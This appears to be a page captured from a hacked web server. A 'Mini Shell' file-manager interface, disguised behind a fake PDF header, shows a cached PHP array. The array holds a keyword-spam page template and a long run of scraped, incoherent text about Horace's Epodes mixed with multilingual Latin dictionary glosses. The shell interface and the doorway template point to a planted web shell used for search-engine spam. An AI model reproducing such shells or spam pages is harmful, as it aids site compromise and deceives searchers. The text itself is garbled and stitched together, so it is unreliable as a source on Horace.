%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/public/storage/8epmj4qw/cache/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/public/storage/8epmj4qw/cache/47cb67da38dda0b82cb3d8838e729771

a:5:{s:8:"template";s:6675:"<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<title>{{ keyword }}</title>
<link href="//fonts.googleapis.com/css?family=Droid+Sans%3A400%2C700%7CRoboto+Slab%3A400%2C300%2C700&amp;ver=3.2.4" id="google-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<style rel="stylesheet" type="text/css">html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}footer,header,nav{display:block}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}html{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*,:after,:before{box-sizing:inherit}.nav-secondary:before,.site-container:before,.site-footer:before,.site-header:before,.site-inner:before,.wrap:before{content:" ";display:table}.nav-secondary:after,.site-container:after,.site-footer:after,.site-header:after,.site-inner:after,.wrap:after{clear:both;content:" ";display:table}html{font-size:62.5%}body>div{font-size:1.6rem}body{background-color:#efefe9;color:#767673;font-family:'Droid Sans',sans-serif;font-size:16px;font-size:1.6rem;font-weight:300;line-height:1.625}a{-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out}::-moz-selection{background-color:#333;color:#fff}::selection{background-color:#333;color:#fff}a{color:#27968b;text-decoration:none}a:focus,a:hover{color:#222;text-decoration:underline;-webkit-text-decoration-style:dotted;text-decoration-style:dotted}p{margin:0 0 16px;padding:0}ul{margin:0;padding:0}::-moz-placeholder{color:#6a6a6a;opacity:1}::-webkit-input-placeholder{color:#6a6a6a}.site-container-wrap{background-color:#fff;box-shadow:0 0 5px #ddd;margin:32px auto;max-width:1140px;overflow:hidden;padding:36px}.site-inner{clear:both;padding-top:32px}.wrap{margin:0 auto;max-width:1140px}:focus{color:#333;outline:#ccc solid 1px}.site-header{background-color:#27968b;padding:48px;overflow:hidden}.title-area{float:left;width:320px}.site-title{font-family:'Roboto Slab',sans-serif;font-size:50px;font-size:5rem;line-height:1;margin:0 0 16px}.site-title a,.site-title a:focus,.site-title a:hover{color:#fff;text-decoration:none}.header-full-width .site-title,.header-full-width .title-area{text-align:center;width:100%}.genesis-nav-menu{clear:both;font-size:14px;font-size:1.4rem;line-height:1;width:100%}.genesis-nav-menu .menu-item{display:block}.genesis-nav-menu>.menu-item{display:inline-block;text-align:left}.genesis-nav-menu a{color:#fff;display:block;padding:20px 24px;position:relative;text-decoration:none}.genesis-nav-menu a:focus,.genesis-nav-menu a:hover{outline-offset:-1px}.genesis-nav-menu a:focus,.genesis-nav-menu a:hover,.genesis-nav-menu li>a:focus,.genesis-nav-menu li>a:hover{background-color:#fff;color:#767673}.genesis-nav-menu .menu-item:hover{position:static}.nav-secondary{background-color:#27968b;color:#fff}.nav-secondary .wrap{background-color:rgba(0,0,0,.05)}.menu .menu-item:focus{position:static}.site-footer{background-color:#27968b;color:#fff;font-size:12px;font-size:1.2rem;padding:36px;text-align:center}.site-footer p{margin-bottom:0}@media only screen and (max-width:1139px){.site-container-wrap,.wrap{max-width:960px}}@media only screen and (max-width:1023px){.site-container-wrap,.wrap{max-width:772px}.title-area{width:100%}.site-header{padding:20px 0}.site-header .title-area{padding:0 20px}.genesis-nav-menu li{float:none}.genesis-nav-menu,.site-footer p,.site-title{text-align:center}.genesis-nav-menu a{padding:20px 16px}.site-footer{padding:20px}}@media only screen and (max-width:767px){body{font-size:14px;font-size:1.4rem}.site-container-wrap{padding:20px 5%;width:94%}.site-title{font-size:32px;font-size:3.2rem}}p.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal}p.has-drop-cap:not(:focus):after{content:"";display:table;clear:both;padding-top:14px}/*! This file is auto-generated */@font-face{font-family:'Droid Sans';font-style:normal;font-weight:400;src:local('Droid Sans Regular'),local('DroidSans-Regular'),url(http://fonts.gstatic.com/s/droidsans/v12/SlGVmQWMvZQIdix7AFxXkHNSaA.ttf) format('truetype')}@font-face{font-family:'Droid Sans';font-style:normal;font-weight:700;src:local('Droid Sans Bold'),local('DroidSans-Bold'),url(http://fonts.gstatic.com/s/droidsans/v12/SlGWmQWMvZQIdix7AFxXmMh3eDs1Yg.ttf) format('truetype')}@font-face{font-family:'Roboto Slab';font-style:normal;font-weight:300;src:url(http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjo0oSmb2Rm.ttf) format('truetype')}@font-face{font-family:'Roboto Slab';font-style:normal;font-weight:400;src:url(http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojISmb2Rm.ttf) format('truetype')}@font-face{font-family:'Roboto Slab';font-style:normal;font-weight:700;src:url(http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoa4Omb2Rm.ttf) format('truetype')}</style>
</head>
<body class="custom-background header-full-width content-sidebar" itemscope="" itemtype="https://schema.org/WebPage"><div class="site-container"><div class="site-container-wrap"><header class="site-header" itemscope="" itemtype="https://schema.org/WPHeader"><div class="wrap"><div class="title-area"><p class="site-title" itemprop="headline"><a href="#">{{ keyword }}</a></p></div></div></header><nav aria-label="Secondary" class="nav-secondary" id="genesis-nav-secondary" itemscope="" itemtype="https://schema.org/SiteNavigationElement"><div class="wrap"><ul class="menu genesis-nav-menu menu-secondary js-superfish" id="menu-main"><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-home menu-item-55" id="menu-item-55"><a href="#" itemprop="url"><span itemprop="name">Home</span></a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-56" id="menu-item-56"><a href="#" itemprop="url"><span itemprop="name">Curation Policy</span></a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-57" id="menu-item-57"><a href="#" itemprop="url"><span itemprop="name">Privacy Policy</span></a></li>
</ul></div></nav><div class="site-inner">
{{ text }}
<br>
{{ links }}
</div><footer class="site-footer"><div class="wrap"><p>{{ keyword }} 2020</p></div></footer></div></div>
</body></html>";s:4:"text";s:37143:"Chicago. Lesbia as Procuress in Horace’s Epode 12 Marilyn B. Skinner University of Arizona mskinner@email.arizona.edu Recent innovative readings of Horace’s Epodes approach the collection as an experimental contribution to the iambic tradition employing impo-tence, both literal and metaphoric, as a unifying trope1. I. Ibis Liburnis inter alta navium, amice, propugnacula, paratus omne Caesaris periculum subire, Maecenas, tuo: Save up to 80% by choosing the eTextbook option for ISBN: 9780191079672, 0191079677. How happy in his low degree, How rich, in humble poverty, is he, Who leads a quiet country life; Discharg'd of business, void of strife, And from the griping scrivener free! In addition to translations of all the Epodes and Odes, West provides a fine introduction to the man, to his works, and to the world of Rome under Augustus. 		    	options are on the right side and top of the page. An edited collection focusing on the literary importance of Horace's Epodes, featuring an international selection of both new and established scholars; Forges new connections between this text, Horace's literary corpus, and the works of other ancient authors Horace's Epodes Contexts, Intertexts, and Reception Edited by Philippa Bather and Claire Stocks. Enter a Perseus citation to go to another section or work. Save up to 80% by choosing the eTextbook option for ISBN: 9780191079672, 0191079677. zu erobern, zu besiegen, übertreffen; überdauern gelingen kann; conquérir, défaire, exceler ; survivre ; réussir, Vincere, la sconfitta, Excel; Outlast; successo, conquistar, derrotar, sobresalir; superar; tener éxito, living, way of life; that which sustains life; nourishment; provisions; diet, Lebens-, Weg des Lebens, das, was das Rückgrat des Lebens; Nahrung; Bestimmungen; Ernährung, vie, mode de vie ; cela qui soutient la vie ; alimentation ; dispositions ; régime, vita, modo di vita, quello che sostiene la vita, nutrimento; disposizioni; dieta, vida, manera de vida; el que sostiene vida; alimento; provisiones; dieta, enemigo; extranjero, extranjero; el enemigo, Carthaginian, Punic; of/associated with Carthage; scarlet, bright red, Karthager, Punier, der / die mit Karthago, Scharlach, hellrot, Carthage, le punique; de / associé à Carthage; écarlate, rouge vif, Cartaginese, punica, di / associati a Cartagine; scarlatto, rosso vivo, Cartaginés, púnico; de / asociados a Cartago; escarlata, rojo brillante, move, change, shift, alter, exchange, substitute; modify. Horace, Odes and Epodes. ODE I. ― Horace tags: happiness, poetry, time. Commentary: Lindsay Watson, A Commentary on Horace’s Epodes (Oxford, 2003) Vocabulary: J. N. Adams, The Latin Sexual Vocabulary (London 1982) Both have generous previews on Google Books. What does Horace anticipate within his Epodes 9? Where are you rushing on with impious guilt, And hands upon the sheathed swords again; Is there too little blood profusely spilt, Of Romans on the land and in the main? 		line to jump to another position: Creative Commons Attribution-ShareAlike 3.0 United States License, http://data.perseus.org/citations/urn:cts:latinLit:phi0893.phi001.perseus-lat1:1.9, http://data.perseus.org/texts/urn:cts:latinLit:phi0893.phi001.perseus-lat1, http://data.perseus.org/texts/urn:cts:latinLit:phi0893.phi001, http://data.perseus.org/catalog/urn:cts:latinLit:phi0893.phi001.perseus-lat1. or Best Offer. Hello Select your address Best Sellers Today's Deals Electronics Customer Service Books Home Gift Ideas New Releases Computers Gift Cards Sell 11.9.1, Cicero remarks that Lepidus is ventosissimus and at Ep. What does Horace anticipate within his Epodes 9? 1983. THE ODES OF HORACE Translated by James Michie with Latin Text Orion 1963. But no other Click any word in the text to seeall the words it could come from.Click and drag to adjust vocab: © 2008-2019 NoDictionaries.com. This paper argues that the final couplet of Horace, Epode 13 alludes both to the description of Achilles playing the lyre in Iliad 9 and to ancient scholarly debate about the Homeric passage. Horace (Quintus Horatius Flaccus, 65–8 bce) is one of the most important Roman poets, a friend and contemporary of Virgil, who composed in the time of Augustus. Horace The Odes, Epodes, Satires, Epistles, Ars Poetica and Carmen Saeculare. 2013. liber i: liber ii: carmina Born in Venusia in southeast Italy in 65 BCE to an Italian freedman and landowner, he was sent to Rome for schooling and was later in Athens studying philosophy when Caesar was assassinated. This work is licensed under a  July 9, 2018 June 24, 2018 by Louis Horace alone makes the study of Latin important. Leiden, The Netherlands, and Boston: Brill. Odes by Horace, translated from Latin by Wikisource Ode 1.1. Horace Epode 9: Some New Interpretations Welcome to the IDEALS Repository. Linked Data. threaten, speak/act menacingly; make threatening movement; give indication of, bedrohen, zu sprechen / act drohend; machen drohende Bewegung; geben Hinweise auf, menacer, parler/acte menaçant ; faire le mouvement menaçant ; donner l'indication de, minacciare, parlare / atto minaccioso; fare minaccioso movimento; dare indicazione di, amenazar, hablar/acto amenazador; hacer el movimiento que amenaza; dar la indicación de, drag/pull/strip/take down/away/off; remove; exclude, omit, cut out; subtract, Ziehen / Pull / strip / take down / away / off; entfernen; auszuschließen, weglassen, herausgeschnitten subtrahieren, la drague/traction/bande/enlèvent vers le bas/loin/; enlever ; exclure, omettre, couper ; soustraire, drag / pull / striscia / take down / away / off; rimuovere; escludere, omettere, tagliati; sottrarre, la fricción/el tirón/la tira/quitan abajo/lejos/; quitar; excluir, omitir, cortar; restar, , amica -um, amicior -or -us, amicissimus -a -um, friendly, dear, fond of; supporting, loyal, devoted; loving, freundlich, lieb, lieb, Unterstützung, treu, gewidmet, liebevoll, amical, cher, affectueux de ; soutien, fidèle, consacré ; aimer, amichevole, cara, affezionato, sostegno, leale, devoto, amante, amistoso, estimado, encariñado con; apoyo, leal, devoto; amor, friend, ally, disciple; loved one; patron; counselor/courtier, Freund, Verbündeter, Schüler, liebte ein; patron; Berater / Hofmann, ami, allié, disciple ; aimé ; patron ; conseiller/courtisan, amico, alleato, discepolo, amato, mecenate, consigliere / cortigiano, amigo, aliado, discípulo; amado; patrón; consejero/cortesano, treulos, heimtückisch, falsch, betrügerisch, , postera -um, posterior -or -us, postremus -a -um, coming after, following, next; COMP next in order, latter; SUPER last/hindmost, kommt darauf folgenden, in der Nähe; COMP nächsten in Ordnung, letztere; SUPER letzten / hintersten, venez après, suivant, après ; Élém. Abrasive in style and riddled with apparent inconsistencies, the Epodes have divided critics from the outset, infuriating and delighting them in equal measure. 		changes, storing new additions in a versioning system. An XML version of this text is available for download,  Chicago. The Epodes have traditionally been Horace's least regarded work, due, in part, to the collection's recurring coarseness and its open treatment of sexuality. Horace Epode 9: Some New Interpretations: Author(s): Cairns, Francis: Subject(s): Horace: Issue Date: 1983: Publisher: Department of Classics. Browse. 		Your current position in the text is marked in blue. Horace, Odes and Epodes. This has caused critics to strongly favour the political poems (1, 7, 9, and 16), while the remaining ones became marginalised. The first three books of his Odes (c. 23 bce) are his most influential work. ), to, up to, towards; near, at; until, on, by; almost; according to; about w/NUM, auf, bis, Richtung, in der Nähe um, bis auf, durch, fast, nach, etwa w / NUM, à, jusqu'à, vers ; près de, à ; jusqu'à, dessus, près ; presque ; selon ; au sujet de w/NUM, a, fino a, verso, vicino, alle, finché, a, da, quasi, secondo, circa w / NUM, a, hasta, hacia; cerca, en; hasta, encendido, cerca; casi; según; sobre w/NUM, festive, joyous; holiday; feast day; merry; solemn, Festlich, fröhlich, Urlaub, Fest, lustig, ernst, festive, joyeuse; vacances; fête; joyeux solennelle, festosa, gioiosa; vacanza; giorno di festa, allegro; solenne, alegre fiesta,; vacaciones; día de la fiesta; alegre; solemne, sacrificial feast/meal; feast, banquet; food composing it; food/meal of animals, Opferfest / Mahlzeit, Fest-, Bankett-, Lebensmittel denen sie sich zusammensetzt, Lebensmittel / Essen von Tieren, régal/repas sacrificatoires ; régal, banquet ; nourriture le composant ; nourriture/repas des animaux, festa sacrificale / pasto; festa, banchetto, cibo che lo compongono; cibo / pasto degli animali, banquete/comida sacrificatorios; banquete, banquete; alimento que lo compone; alimento/comida de animales, , laeta -um, laetior -or -us, laetissimus -a -um, happy/cheerful/joyful/glad; favorable/propitious; prosperous/successful, happy / heiter / fröhlich / froh, positive / günstig; wohlhabende / erfolgreichen, heureux / gai / joyeux / heureux; favorable / propice; prospère / succès, felice / allegro / allegra / felice; favorevole / favorevole; prospero / di successo, feliz / alegre / feliz / contento; favorable / propicio; próspera / éxito, under; up to, up under, close to; until, before, up to, about, unter, bis zu, bis nach, in der Nähe, bis, vor, bis zu etwa, en vertu, jusqu'à, en vertu, à proximité, jusqu'à ce que, avant, jusqu'à, environ, sotto, fino a, sotto, vicino, fino a quando, prima, fino a circa, virtud de éste, hasta, en virtud, cerca, hasta que, antes, hasta, aproximadamente, under, beneath, behind, at the foot of; within; during, about, unter, unten, hinten, am Fuße des, innerhalb; während etwa, sous, sous, derrière, au pied de; l'intérieur; pendant environ, sotto, sotto, dietro, ai piedi di; all'interno, durante, circa, bajo, debajo, detrás, a los pies de, dentro de, durante, aproximadamente, , alta -um, altior -or -us, altissimus -a -um, high; deep/profound; shrill; lofty/noble; deep rooted; far-fetched; grown great, hoch, tief / tief; schrill erhabene / edlen, tief verwurzelt, weit hergeholt, groß geworden, haut ; profondément/profond ; aigu ; élevé/noble ; profondément enraciné ; forcé ; développé grand, elevati; profonda / profondo; stridula; alto / nobile; profondo e radicato; inverosimile; cresciuto grande, alto; profundamente/profundo; chillón; alto/noble; profundamente arraigado; inverosímil; crecido grande, feed, nourish, rear, nurse, suckle; cherish; support, maintain, develop, Futtermittel, nähren, hinten, Krankenschwester, saugen, pflegen, Unterstützung, Wartung, Entwicklung, l'alimentation, nourrissent, s'élèvent, soignent, allaitent ; aimer ; l'appui, maintiennent, se développent, mangimi, nutrire, posteriore, infermiere, succhiare, cara, sostegno, mantenere, sviluppare, la alimentación, alimenta, se alza, cuida, amamanta; acariciar; la ayuda, mantiene, se convierte, the deep, the sea; deep water; a height/depth; remote/obscure period/source, die tiefe, das Meer, tiefe Wasser; einer Höhe / Tiefe; remote / dunkle Periode / Quelle, la profondeur, la mer, en eau profonde, une hauteur / profondeur; à distance / période obscure / source, il largo, il mare, in acque profonde, un altezza / profondità; remote / periodo oscuro / fonte, las profundidades, el mar, en aguas profundas; una altura / profundidad; remoto período oscuro / fuente, thus, so; as follows; in another way; in such a way, So, so, wie folgt, in einer anderen Art und Weise, in der Weise, Ainsi, si, comme suit: une autre manière; de manière, così, in modo, come segue, in un altro modo, in modo, por lo tanto, por lo que, según se indica, de otro modo, de tal manera, , grata -um, gratior -or -us, gratissimus -a -um, pleasing, acceptable, agreeable, welcome; dear, beloved; grateful, thankful, angenehm, akzeptabel, angenehm, willkommen, liebe, liebe, dankbar, dankbar, agréable, acceptable, agréable, bienvenue, chère, chère, reconnaissant, reconnaissant, gradevole, accettabile, gradevole, benvenuto; cara, amata, grato, riconoscente, agradable, aceptable, agradable bienvenida,, querido, amado, agradecido, agradecido, sottomettere, master, domare; conquistare, , beata -um, beatior -or -us, beatissimus -a -um, happy, fortunate, bringing happiness; rich, wealthy, copious, sumptuous, glücklich, Glück, Glück zu bringen, reich, reich, reichlich, üppig, heureux, chanceux, apportant le bonheur ; riche, riche, copieux, somptueux, felice, fortunato, portando felicità, ricco, ricco, abbondante, ricca, feliz, afortunado, trayendo felicidad; rico, rico, copioso, suntuoso, happy/fortunate men/persons; "the rich"; The Blessed, Saints, happy / glücklichen Menschen, bzw. 9 comments: Roy July 11, 2017 at 11:27 PM Taught individuals don't do such kind of incidents, right off the bat they don't get their kids hitched at the age when they ought to go to the school, and they don't drive their kids to get hitched. 9; Horace. Like “Pactum serva" - "Keep the faith” ― Horace tags ... Odes and Epodes 2,645 ratings. $4.33 shipping. Confirm this request. Put / einfügen; Speichern von bis / wegstecken, zu bewahren, eine Flasche; begraben / unter Waschbecken; mis/insertion ; stocker up/put loin, conserve, bouteille ; enfouissement/inter ; évier, put / inserto; memorizzare fino / riporre, conservare, bottiglia; seppellire / inter; lavello, puesto/parte movible; almacenar up/put lejos, coto, botella; entierro/inter; fregadero, male; masculine, of the male sex; manly, virile, brave, noble; G:masculine, männlich, maskulin, des männlichen Geschlechts, männlich, männlich, mutig, edel, G: männlich, sexe masculin; masculine, de sexe masculin; virile, viril, courageux, noble; G: masculin, maschile, virile, di sesso maschile, virile, virile, coraggioso, nobile; G: maschile, sexo masculino; masculino, del sexo masculino; varonil, viril, valiente, noble, G: masculino, être vivant, de phase ; survivre ; résider, essere vivo, vivere, sopravvivere; risiedere. Benj. Horace. Born Quintus Horatius Flaccus, to a former slave in 65 B.C., Horace was taken to Rome and Athens to be educated. Battle of Actium: Horace, Epode 9 study guide by lukehurst includes 4 questions covering vocabulary, terms and more. At Ep. Garrison offers help with meter, vocabulary, and difficult points of grammar. Titles Authors Contributors Subjects Date Communities. He joined Brutus's army after the assassination of Julius Caesar, and later came under favor of the emperor Octavian. At Ep. -- Epodes; Horace. Lesbia as Procuress in Horace’s Epode 12 Marilyn B. Skinner University of Arizona mskinner@email.arizona.edu Recent innovative readings of Horace’s Epodes approach the collection as an experimental contribution to the iambic tradition employing impo-tence, both literal and metaphoric, as a unifying trope1. To whom life may be agreeable, if you survive; but, if otherwise, burdensome. Click anywhere in the  Watson is expensive; Adams was reprinted in a … H. Sanborn & Co. 1919. 		line to jump to another position: Click on a word to bring up parses, dictionary entries, and frequency statistics. quin huc inanis, si potes, vertis minas, et me remorsurum petis? Horace is one of the most noted poets and satirists of Ancient times. Epodes of Horace The word is now mainly familiar from an experiment of Horace in the second class, for he entitled his fifth book of odes Epodon liber or the Book of Epodes . Horace Odes Book One (H. E. Gould and J. L. Whiteley - 1952) (ID:96301) -- Epodae. 1.19.37, Horace uses this adjective to describe the opinion of the fickle plebs. ("Agamemnon", "Hom. Some features of this site may not work without it. TO MAECENAS. Perseus provides credit for all accepted  Horace (Quintus Horatius Flaccus) was a Roman poet, satirist, and critic. Commentary: Lindsay Watson, A Commentary on Horace’s Epodes (Oxford, 2003) Vocabulary: J. N. Adams, The Latin Sexual Vocabulary (London 1982) Both have generous previews on Google Books. Horace. Quizlet flashcards, activities and games help you improve your grades. Watson is expensive; Adams was reprinted in a … 1.19.37, Horace uses this adjective to describe the opinion of the fickle plebs. Personen, &quot;die Reichen&quot; Die Heilige, Saints, hommes/personnes heureux/chanceux ; « les riches » ; Bénie, saints, felice / uomini fortunati / persone, "i ricchi", i beati, santi, hombres/personas felices/afortunados; “los ricos”; Haber bendecido, santos, happily; excellently, felicitously; lavishly, abundantly, glücklich, ausgezeichnet, glücklich, reich, reichlich, heureusement, très bien, heureusement, somptueusement, abondamment, felicemente, ottimamente, felicemente, generosamente, abbondantemente, felices, y de manera excelente, felizmente, ricamente, en abundancia, bless, make happy, gladden, delight; enrich, segnen, glücklich zu machen, erfreuen, Freude; bereichern, bénir, rendre heureux, réjouir, enchanter ; enrichir, benedica, rendere felice, allietare, delizia; arricchire, bendecir, hacer feliz, gladden, encantar; enriquecer, drink; toast; visit, frequent; drain, draw off; thirst for; suck, trinken, Toast, zu besuchen, häufig, Kanal, abziehen; Durst nach, saugen, boisson ; pain grillé ; visite, fréquente ; le drain, retirent ; soif pour ; sucer, bere, brindisi, visita, frequente, di scarico, erogare, per sete; succhiare, bebida; tostada; visita, frecuente; el dren, retira; sed para; aspirar, make a noise/sound; speak/utter, emit sound; be spoken of; express/denote, make a noise / sound; sprechen / aussprechen, strahlen gesund; gelobt; ausdrücklich erklärt bezeichnen /, faire un bruit/bruit ; parler/total, émettre le bruit ; être parlé de ; exprès/dénoter, far rumore / suono; parlare / totale, emettono suoni; essere parlato di; Express / denotare, hacer un ruido/un sonido; hablar/completo, emitir el sonido; hablarse de; expreso/denotar, mischen, mischen; verwickeln, verwirren; schüren, le mélange, se mélangent ; embrouiller ; confondre ; remuer, mescolare, mescolare, coinvolgere, confondere, mescolare fino, la mezcla, mezcla; embrollar; confundir; suscitar, flute, pipe; reed-pipe; B:tibia, shin-bone, Flöte, Pfeife; Rohrpfeife, B: Schienbein, Schienbein, flauto, con tubi di canna-tubo; B: la tibia, tibia, tubo de la flauta,; caña-pipe; B tibia:, shin-hueso, card for wool/flax; song/music (woven with words); incantation, magic formula, carte pour la laine / lin, chanson / musique (en paroles); incantation, formule magique, carta per la lana / lino; canzone / musica (tessuto con le parole), incantesimo, magia formula, tarjeta para la lana / lino; canción / música (tejidos con palabras); conjuro, la fórmula mágica, lyre; lyric poetry/inspiration/genius; Lyra/the Lyre; lute/harp, Leier; Lyrik / Inspiration / Genie, Lyra / die Leier, Laute / Harfe, lyre, la poésie lyrique / inspiration / génie; Lyra / la Lyre; luth / harpe, lira; poesia lirica / ispirazione / genio; Lyra / la lira; liuto / arpa, lira, la poesía lírica / inspiración / genio, Lyra / la lira; laúd / arpa, that; those; that person/thing; the well known; the former, dass, diejenigen, auch DEMONST; dieser Person / Sache, die gut bekannt, die ehemalige, cela ; ceux ; ces personne/chose ; le bien connu ; l'ancien, che, quelle, cioè / persona cosa, il ben noto, il primo, eso; ésos; esa persona/cosa; el bien conocido; el anterior, , barbara -um, barbarior -or -us, barbarissimus -a -um, foreign, of/used by/typical of foreigners; cruel, savage; uncivilized, uncouth, ausländischen, von / used / typisch für Ausländer, grausam, wild; unzivilisiert, ungehobelt, étranger, of/used by/typical des étrangers ; cruel, sauvage ; incivilisé, grossier, straniere, di / utilizzata da / tipico degli stranieri; crudele, feroce, incivile, rozzo, extranjero, of/used by/typical de extranjeros; cruel, salvaje; incivilizado, tosco, barbarism; impropriety of speech; kind of plaster, Barbarei; Unangemessenheit der Rede; Art von Gips, barbarie ; inexactitude de la parole ; genre de plâtre, barbarie; improprietà di espressione; tipo di gesso, barbarismo; impropiedad del discurso; clase de yeso, personne barbare et incivilisée ; étranger, persona bárbara, incivilizada; extranjero, Bart / Schnurrbart, große ungepflegten Bart, barba / baffi, barba incolta di grandi dimensioni, barba o bigotes, barba descuidada grandes, to, in order that/to; how, as, when, while; even if, wie, wie zum Beispiel; dass, damit, um zu, à, afin que / pour, comment, où, quand, alors que, même si, a, in modo che / a; come, come, quando, mentre, anche se, que, con el fin de que / a, ¿cómo, como, cuando, siendo, incluso si, recently, not long ago; in recent years/our own time; latest in series, vor kurzem, vor nicht langer Zeit, in den letzten Jahren / unserer Zeit, spätestens in Serie, récemment, il n'ya pas longtemps, ces dernières années / notre temps; plus tard dans la série, di recente, non molto tempo fa, in questi ultimi anni / proprio il nostro tempo, più tardi in serie, recientemente, no hace mucho, en los últimos años / nuestro propio tiempo, el último en serie, drive/urge/conduct/act; spend; thank; deliver. Born in Venusia in southeast Italy in 65 BCE to an Italian freedman and landowner, he was sent to Rome for schooling and was later in Athens studying philosophy when Caesar was assassinated. $14.95. Satires, Epistles and Ars Poetica 755 ratings.     (via login/signup). More info about Linked Data \n \n Primary Entity\/h3>\n. 24–75, is dedicated to the Epodes; the focus is, typically for the time, on the “serious” civic poems, 1, 7, 9 and 16, which deal with contemporary political issues and the battle of Actium. THE ODES AND EPODES OF HORACE BY CLEMENT LAWRENCE SMITH 9 VOL SET 1901 LEATHER. $360.00. bringen, tragen; sagen / sprechen, zu prüfen; davontragen, gewinnen, erhalten, produzieren get; apporter, soutenir ; dire/parler de ; considérer ; porter au loin, gagner, recevoir, produire ; obtenir, portare, sopportare; dire / parlare di; considerare, rapire, conquistare, ricevere, produrre, ricevere, traer, llevar; decir/hablar de; considerar; llevar apagado, ganar, recibir, producir; conseguir, dem Spiel steht, Palisaden, zeigen, Post-, Mast -, wall, rampart; entrenchment, line of palisades, stakes, Wand, Wall, Schanze, Linie von Palisaden, Pfähle, mur, rempart, retranchement, ligne de palissades, les enjeux, muro, baluardo, trinceramento, linea di palizzate, pali, pared, muralla, afianzamiento de la partida de empalizadas, estacas, arms, weapons, armor, shield; close fighting weapons; equipment; force, Waffen, Waffen, Rüstungen, Schilde; Nahkampf Waffen, Ausrüstung; Kraft, bras, armes, armure, bouclier ; armes étroites de combat ; équipement ; force, armi, armi, armature, scudo, combattimento ravvicinato armi; attrezzature; vigore, brazos, armas, armadura, protector; armas cercanas de la lucha; equipo; fuerza, equip, fit with armor; arm; strengthen; rouse, stir; incite war; rig, auszustatten, sondern auch mit Waffen; Arm, zu stärken; erregen, rühren; Krieg aufzuhetzen; rig, équiper, équiper de l'armure ; bras ; renforcer ; rouse, stir ; inciter la guerre ; installation, equipaggiare, montare con l'armatura; braccio, rafforzare, scuotere, agitare, incitano la guerra; rig, equipar, caber con la armadura; brazo; consolidar; provocar, revolver; incitar la guerra; aparejo, soldier; foot soldier; soldiery; knight; knight's fee/service, Soldat, Fußsoldat; Soldaten, Ritter, Knight&#39;s fee / service, soldat, fantassin, soldat, chevalier; taxe chevalier / service, soldato soldato di fanteria, soldati, cavaliere; tassa cavaliere / servizio, soldado, soldado de a pie; soldados; caballero honorario de caballero / servicio, battle standard; indication; seal; sign, proof; signal; image, statue, Feldzeichen; Angabe; Siegel, Zeichen, Beweis, Signal, Bild, Statue, standard bataille; indication; sceau; signe, la preuve; signal, image, statue, battaglia standard; indicazione, guarnizione di tenuta; segno, prova, segnale, immagine, statua, estandarte de guerra; la indicación; sello y firmar, la prueba, la señal de imagen, estatua, Marke, Stempel, Bezeichnung, Zeichen, Siegel, marchio, il timbro, designare, segno; sigillo, marca, estampilla, designada, muestra; sello, , turpe, turpior -or -us, turpissimus -a -um, ugly; nasty; disgraceful; indecent; base, shameful, disgusting, repulsive, hässlich, böse; Schande; unanständig; Basis, eine Schande, widerlich, abstoßend, laid, sale, honteux, indécent; base, honteux, dégoûtant, répugnant, brutto, brutto, vergognoso, indecente; base, vergognoso, disgustoso, repellente, feo, desagradable, vergonzoso, indecente, base, vergonzoso, repugnante, repulsivo, disgrace; shame, reproach; base/shameful thing, Schande, Schande, Schmach; base / Schande, honte, la honte, le reproche; base / honte, vergogna, vergogna, rimprovero; base / cosa vergognosa, desgracia, la vergüenza, el reproche, base / algo vergonzoso, repulsively, disgracefully, shamelessly; in an ugly/unsightly manner, widerlich, schändlich, schamlos, in einem hässlichen / unschöne Weise, repoussante, honteusement, sans vergogne, dans une vilaine / de manière inesthétique, ripugnante, vergognoso, senza vergogna, in un brutto / maniera sgradevole, repulsivamente, por desgracia, sin vergüenza, en un feo / fea forma, military; of/used by the army/war/soldiers; martial; soldierly; warlike, Militär, der / die die Armee verwendet werden / Krieg / Soldaten, Martial; soldatischen; kriegerischen, militaire; d'/ utilisés par l'armée / guerre / soldats; martiaux; soldat; guerrière, militari; di / usato dall'esercito / guerra / soldati; marziali; militaresco; bellicoso, militares, de los / utilizado por el ejército y la guerra / soldados, marciales, marcial, belicoso, military; soldier-like; martial; soldierly; warlike, Militär, Soldaten-like; martial; soldatischen; kriegerischen, militaire; soldatesque; martiaux; soldat; guerrière, militari; soldato-like; marziali; militaresco; bellicoso, militar, soldado-como; marciales, marcial, belicoso, look/gaze on/at, see, observe, behold, regard; face; consider, contemplate, Blick / Blick auf / an, sehen, beobachten, schauen, betrachten, Gesicht, zu prüfen, zu betrachten, regarder/regard fixe on/at, voient, observent, voient, considèrent ; visage ; considérer, contempler, guarda / lo sguardo su / a, vedere, osservare, ecco il senso; faccia considerare, contemplare, mirar/la mirada on/at, ven, observan, behold, miran; cara; considerar, comtemplar, canopy; mosquito-net, gauze net; bed provided with a mosquito-net, Baldachin Moskitonetz, Gaze net; Bett mit einem Moskito-Netz bereitgestellt, dais; moustiquaire-net, de la gaze; lit fourni avec une moustiquaire, baldacchino, zanzariera-net, garze, letto dotato di una zanzariera, sotobosque, con mosquitero-net, gasas; de cama con un mosquitero, brüllen; knurren; Wut, Geräusch, Geschrei nach, hurlement ; grondement ; fureur ; murmure, clameur pour, ruggito; growl; rabbia; mormorio, gridino, 